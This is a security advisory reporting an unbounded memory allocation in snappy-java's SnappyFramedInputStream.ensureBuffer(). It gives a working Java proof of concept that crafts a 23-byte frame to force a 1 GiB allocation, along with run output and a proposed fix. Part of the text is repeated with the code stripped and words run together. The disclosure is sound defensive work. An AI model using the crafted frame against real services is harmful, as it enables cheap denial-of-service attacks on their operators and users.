Unbounded Allocation from Attacker-Declared Uncompressed Length in SnappyFramedInputStream.ensureBuffer()
Summary
|
|
| Product |
org.xerial:snappy-java |
| Affected version |
1.1.10.8 (latest) |
| Component |
SnappyFramedInputStream.java — ensureBuffer() allocation from Snappy.uncompressedLength(input); getFrameMetaData() bounds only the compressed frame length |
| Vulnerability type |
CWE-770 (Allocation of Resources Without Limits or Throttling) |
| CVSS 3.1 |
5.3 Medium — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| Attack vector |
Any component decompressing attacker-influenced x-snappy-framed data |
| Fix ownership |
Maintainer, in-repo (bound the declared uncompressed length) |
Relationship to prior art (read first)
CVE-2023-43642 (fixed in 1.1.10.4) added a missing upper-bound check on the declared uncompressed
length in SnappyInputStream (the block-format class). This report concerns a structurally
separate class, SnappyFramedInputStream (the x-snappy-framed format), which was not part of
that fix and has no maxChunkSize parameter or any equivalent ceiling at all. It is a sibling
gap on a different code path, not a re-report of CVE-2023-43642.
Trust boundary
Untrusted framed-stream bytes → SnappyFramedInputStream.ensureBuffer() reads an attacker-declared
varint length and allocates a direct ByteBuffer + byte[] of that size, before the frame's CRC32C
is validated. Boundary crossed: untrusted-input → JVM-process-wide direct-memory/heap budget.
Description
ensureBuffer() extracts the declared uncompressed length from the fully attacker-controlled Snappy
length-prefix inside the frame body and uses it, unvalidated, to size the decompression buffers.
getFrameMetaData() bounds only the compressed frame length (~16 MB via the 3-byte chunk header);
the declared uncompressed length is an independent field with no ceiling — not the x-snappy-framed
spec's 65,536-byte-per-chunk limit, not any library cap. The allocation happens before the CRC
check, so a valid checksum cannot filter it out. A ~23-byte frame drives a multi-hundred-MB to
multi-GB allocation.
Root cause (verified against 1.1.10.8 source)
// SnappyFramedInputStream.java — ensureBuffer()
final int uncompressedLength = Snappy.uncompressedLength(input); // attacker-controlled varint
if (uncompressedLength > uncompressedDirect.capacity()) {
bufferPool.releaseDirect(uncompressedDirect);
bufferPool.releaseArray(buffer);
uncompressedDirect = bufferPool.allocateDirect(uncompressedLength); // NO UPPER BOUND
buffer = bufferPool.allocateArray(uncompressedLength);
}
SnappyFramedInputStream exposes no size-limiting constructor/setter (unlike SnappyInputStream's
maxChunkSize), so callers cannot bound this short of wrapping the stream in an external
byte-counting proxy.
Reproduction
- OS: macOS (Darwin, arm64) · JDK: OpenJDK 25 · Library: snappy-java 1.1.10.8, unmodified.
-Xmx64m used only to make the OutOfMemoryError fast/deterministic; a real server's already-
configured heap/direct-memory budget plays the same role.
import org.xerial.snappy.SnappyFramedInputStream;
import java.io.*;
public class PocFramedOom {
static byte[] varint(long v){ ByteArrayOutputStream o=new ByteArrayOutputStream();
while(true){int b=(int)(v&0x7f); v>>>=7; if(v!=0)o.write(b|0x80); else{o.write(b);break;}} return o.toByteArray(); }
static byte[] craft(long declared){
byte[] hdr={(byte)0xff,0x06,0x00,0x00,0x73,0x4e,0x61,0x50,0x70,0x59};
byte[] v=varint(declared);
byte[] payload=new byte[4+v.length]; // 4-byte CRC placeholder + varint
System.arraycopy(v,0,payload,4,v.length);
int len=payload.length;
byte[] ch={0x00,(byte)(len&0xff),(byte)((len>>8)&0xff),(byte)((len>>16)&0xff)};
byte[] frame=new byte[hdr.length+ch.length+payload.length]; int p=0;
System.arraycopy(hdr,0,frame,p,hdr.length); p+=hdr.length;
System.arraycopy(ch,0,frame,p,ch.length); p+=ch.length;
System.arraycopy(payload,0,frame,p,payload.length);
return frame;
}
public static void main(String[] a) throws Exception {
long declared = 1024L*1024*1024; // 1 GiB declared
byte[] evil = craft(declared);
System.out.println("wire bytes=" + evil.length + " declared=" + declared);
try (SnappyFramedInputStream in = new SnappyFramedInputStream(new ByteArrayInputStream(evil))) {
in.read();
System.out.println("UNEXPECTED: allocation succeeded");
} catch (OutOfMemoryError e) {
System.out.println("OOM from ensureBuffer(): " + e);
}
}
}
Run:
java -Xmx64m -cp classes:. PocFramedOom
Actual evidence
wire bytes=23 declared=1073741824
OOM from ensureBuffer(): java.lang.OutOfMemoryError: Cannot reserve 1073741824 bytes of direct buffer memory (allocated: 229376, limit: 67108864)
A 23-byte frame reliably drives a 1 GiB direct-buffer allocation attempt (amplification > 46,000,000×),
deterministically, before any CRC validation. A control frame produced by SnappyFramedOutputStream
decompresses correctly, proving this is not a general breakage.
Impact
Any application decompressing attacker-supplied x-snappy-framed data (uploads, queue payloads, RPC
bodies) via SnappyFramedInputStream is exposed to a cheap, unauthenticated, single-request
resource-exhaustion primitive. Because -XX:MaxDirectMemorySize/heap is a process-wide budget,
repeated tiny frames can degrade or deny decompression for all concurrent requests on the process.
Availability:Low reflects a per-request allocation failure (an OOM the surrounding framework may
contain as a 500) rather than a guaranteed whole-process crash; annotate that a larger budget lets
the same input commit gigabytes of real memory instead of failing fast.
Remediation
Enforce a ceiling on the declared uncompressed length before allocating, or expose a configurable
maximum comparable to SnappyInputStream's maxChunkSize:
final int uncompressedLength = Snappy.uncompressedLength(input);
if (uncompressedLength < 0 || uncompressedLength > MAX_UNCOMPRESSED_CHUNK_SIZE) {
throw new IOException("Declared uncompressed chunk size " + uncompressedLength
+ " exceeds allowed maximum");
}
The check must run before any allocation, independent of CRC validation.
References
Unbounded Allocation from Attacker-Declared Uncompressed Length in
SnappyFramedInputStream.ensureBuffer()Summary
org.xerial:snappy-javaSnappyFramedInputStream.java—ensureBuffer()allocation fromSnappy.uncompressedLength(input);getFrameMetaData()bounds only the compressed frame lengthAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LRelationship to prior art (read first)
CVE-2023-43642 (fixed in 1.1.10.4) added a missing upper-bound check on the declared uncompressed
length in
SnappyInputStream(the block-format class). This report concerns a structurallyseparate class,
SnappyFramedInputStream(the x-snappy-framed format), which was not part ofthat fix and has no
maxChunkSizeparameter or any equivalent ceiling at all. It is a siblinggap on a different code path, not a re-report of CVE-2023-43642.
Trust boundary
Untrusted framed-stream bytes →
SnappyFramedInputStream.ensureBuffer()reads an attacker-declaredvarint length and allocates a direct
ByteBuffer+byte[]of that size, before the frame's CRC32Cis validated. Boundary crossed: untrusted-input → JVM-process-wide direct-memory/heap budget.
Description
ensureBuffer()extracts the declared uncompressed length from the fully attacker-controlled Snappylength-prefix inside the frame body and uses it, unvalidated, to size the decompression buffers.
getFrameMetaData()bounds only the compressed frame length (~16 MB via the 3-byte chunk header);the declared uncompressed length is an independent field with no ceiling — not the x-snappy-framed
spec's 65,536-byte-per-chunk limit, not any library cap. The allocation happens before the CRC
check, so a valid checksum cannot filter it out. A ~23-byte frame drives a multi-hundred-MB to
multi-GB allocation.
Root cause (verified against 1.1.10.8 source)
SnappyFramedInputStreamexposes no size-limiting constructor/setter (unlikeSnappyInputStream'smaxChunkSize), so callers cannot bound this short of wrapping the stream in an externalbyte-counting proxy.
Reproduction
-Xmx64mused only to make theOutOfMemoryErrorfast/deterministic; a real server's already-configured heap/direct-memory budget plays the same role.
Run:
Actual evidence
A 23-byte frame reliably drives a 1 GiB direct-buffer allocation attempt (amplification > 46,000,000×),
deterministically, before any CRC validation. A control frame produced by
SnappyFramedOutputStreamdecompresses correctly, proving this is not a general breakage.
Impact
Any application decompressing attacker-supplied x-snappy-framed data (uploads, queue payloads, RPC
bodies) via
SnappyFramedInputStreamis exposed to a cheap, unauthenticated, single-requestresource-exhaustion primitive. Because
-XX:MaxDirectMemorySize/heap is a process-wide budget,repeated tiny frames can degrade or deny decompression for all concurrent requests on the process.
Availability:Low reflects a per-request allocation failure (an OOM the surrounding framework may
contain as a 500) rather than a guaranteed whole-process crash; annotate that a larger budget lets
the same input commit gigabytes of real memory instead of failing fast.
Remediation
Enforce a ceiling on the declared uncompressed length before allocating, or expose a configurable
maximum comparable to
SnappyInputStream'smaxChunkSize:The check must run before any allocation, independent of CRC validation.
References
SnappyInputStream;SnappyFramedInputStreamwas not covered)